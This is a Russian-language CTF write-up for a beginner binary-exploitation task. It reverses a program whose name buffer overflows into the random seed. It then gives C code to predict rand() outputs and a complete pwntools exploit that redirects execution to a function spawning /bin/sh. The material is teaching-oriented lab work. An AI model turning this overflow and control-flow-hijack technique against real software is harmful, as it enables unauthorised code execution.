Ку, киберрекруты. Чет давно цтфки не гамал. Зашел на днях почекать ctftime и наткнулся на какой-то CybergonCTF и заинтересовал меня там один таск на пывн. По своей сути он простой, но для новичков в бинарщине то, что надо. Поэтому данная статья именно для них.
Описание
Из описания задания, как обычно, толком никакой информации. Название может натолкнуть на мысль, что нужно будет что-то делать с рандомом
Начнем
Первым делом нужно сделать первичный анализ бинаря. К этому относится:
- file
- strings
- checksec
- поиск UPX
- гаджеты
автоматически и выводит все в одно окно - J0llyTr0llz
После клонирования репозитория и установки всех библиотек
sudo ./setuptools/sh
,можно ее запустить
python3 main.py
и появится такое окно:Нажимаем сочитание клавиш
Ctrl+O
и открываем бинарь.readelf
сообщает, что это 64 разрядная версия и порядок байт - littleend:file
тому подтверждениенет
UPX
, так же нет канарейки и отключена рандомизация адресов:Теперь посмотрим на
strings
. Для этого надо нажать сочитание клавиш Ctrl+S
и просмотрев можно заметить строку /bin/sh
Если в названии есть слово рандом, то скорее всего присутсвуют соответсвущие строки:
Теперь нужно поиграть с сервисом, чтобы понять его возможности.
Сначала вводим имя, потом 10 рандомных цифр
Пока ничего не понятно. Поэтому настало время реверса.
Реверс
Традиционно буду использовать IDA Pro и edb.
Первое, что бросается в глаза, так это самое начало программы:
Здесь вводим имя и есть интересные моменты с
seed
. Сначала генерится инструкциями:
Код:
call _rand
mov [rbp+seed], eax
После передается в srand :
Код:
mov eax, [rbp+seed]
mov edi, eax
call _srand
Не стоит расстраиваться раньше времени. Между этими двумя участками, мы вводим имя:
Теперь посмотрим на локальные переменные:
Не вооруженным глазом можно заметить, что
var_80
лежит перед seed
. Да, к тому же, буффер можно переполнить ибо нет контроля ввода данных. Из этого следует, что можно переписать seed
и уже заранее знать, что будет рандомиться.Участок кода далее уже не несет смысловую нагрузку, потому что он просто рандомит числа и заполняет какой-то глобальный массив интов
Далее вводим числа и тоже заполняем уже какой-то второй массив интов
Происходит сравнение элементов двух массивов и если все нормас, то выведет сообщение
Correct!
Так же есть прикольная функция
potato
, в которой лежит вызов /bin/sh
и именно к ней мы стремимсяИ так. Имеем следующее: можно переполнить буффер и переписать
seed
, тем самым будем знать какие числа будут генериться, можно привести к произвольному управлению. Осталось написать программу на языке C, чтобы получить рандомные числа и написать сплойт.Пишем эксплойт
Сначала прога на языке Си, которая выглядит так:
C:
#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0x41414141);
printf("[");
for(int i = 0;i<10;i++){
printf("0x%x, ", rand());
}
printf("]\n");
return 0;
}
Результат выполнения такой:
Код:
[0x79ef55a0, 0x3b9717ae, 0x41c57137, 0x1b4bc588, 0x56156104, 0x1b60129e, 0x5c0023e9, 0x5c318861, 0xa9d1c92, 0x4fb8a5a3]
Однако, этого мало, потому что есть такая функция в программе под названием
rc4
. Прореверсив функицию rc4
, сделал вывод, что это банальный логический сдвиг в право:Поэтому нужно добавить еще эту функцию. Таким образом, полная программа выглядит так:
C:
#include <stdio.h>
#include <stdlib.h>
int seed = 0x41414141;
unsigned int rc4_output(int r) {
return (unsigned int)((r + seed) % 256);
}
int main()
{
srand(seed);
printf("[");
for(int i = 0;i<10;i++){
printf("0x%x, ", rc4_output(rand()));
}
printf("]\n");
return 0;
}
Результат выполнения:
Код:
[0xffffffe1, 0xef, 0xffffff78, 0xc9, 0xffffff45, 0xdf, 0xffffff2a, 0xffffffa2, 0xd3, 0xffffffe4]
Теперь настало время эксплойта.
Для добития до
seed
необходимо 112 каких-нибудь байтов. Сам seed
будет равен 0x41414141
, что означает AAAA
. Далее объявим переменную potato
, в которой будет адрес победной функции и сам payload. Данный участок кода выглядит так:
Python:
junk = b'A'*112
seed = b'AAAA'
potato = p64(0x0000000004011BA)
payload = junk + seed + (b'A' * 20) + potato
Далее просто посылаем это все нашему таргету:
Python:
io.recvuntil(b'What is your name? ')
io.sendline(payload)
io.recvuntil(b'Guess my numbers!'
killRand()
Функция
killRand()
она банально отправляет нужные числа программе:
Код:
def killRand():
rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9,
0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2,
0x00000000000000D3,0x00000000FFFFFFE4]
for i in rand:
tmp = str(i)
io.sendline(tmp.encode())
Полный сплойт выглядит так:
Python:
from pwn import *
exe = context.binary = ELF('./random')
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb', '--run', exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
def killRand():
rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9, 0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2, 0x00000000000000D3,0x00000000FFFFFFE4]
for i in rand:
tmp = str(i)
io.sendline(tmp.encode())
io = start()
junk = b'A'*112
seed = b'AAAA'
potato = p64(0x0000000004011BA)
payload = junk + seed + (b'A' * 20) + potato
io.recvuntil(b'What is your name? ')
io.sendline(payload)
io.recvuntil(b'Guess my numbers!')
killRand()
io.interactive()
Проверим работу этого всего дела. Для этого в EDB , поставлю точку останова сразу же в конце выполнения программы, то есть сюда
Если все сработало, то во первых будет сообщение
Correct!
, во вторых попаду в нужную функцию.Дошел до этого места, значит полет нормальный
Теперь дохожу до инструкции
ret
и попаду в potato
Собственно чтд, вызовется функция
system('/bin/sh')
Теперь попробую запустить на сервере и получу RCE: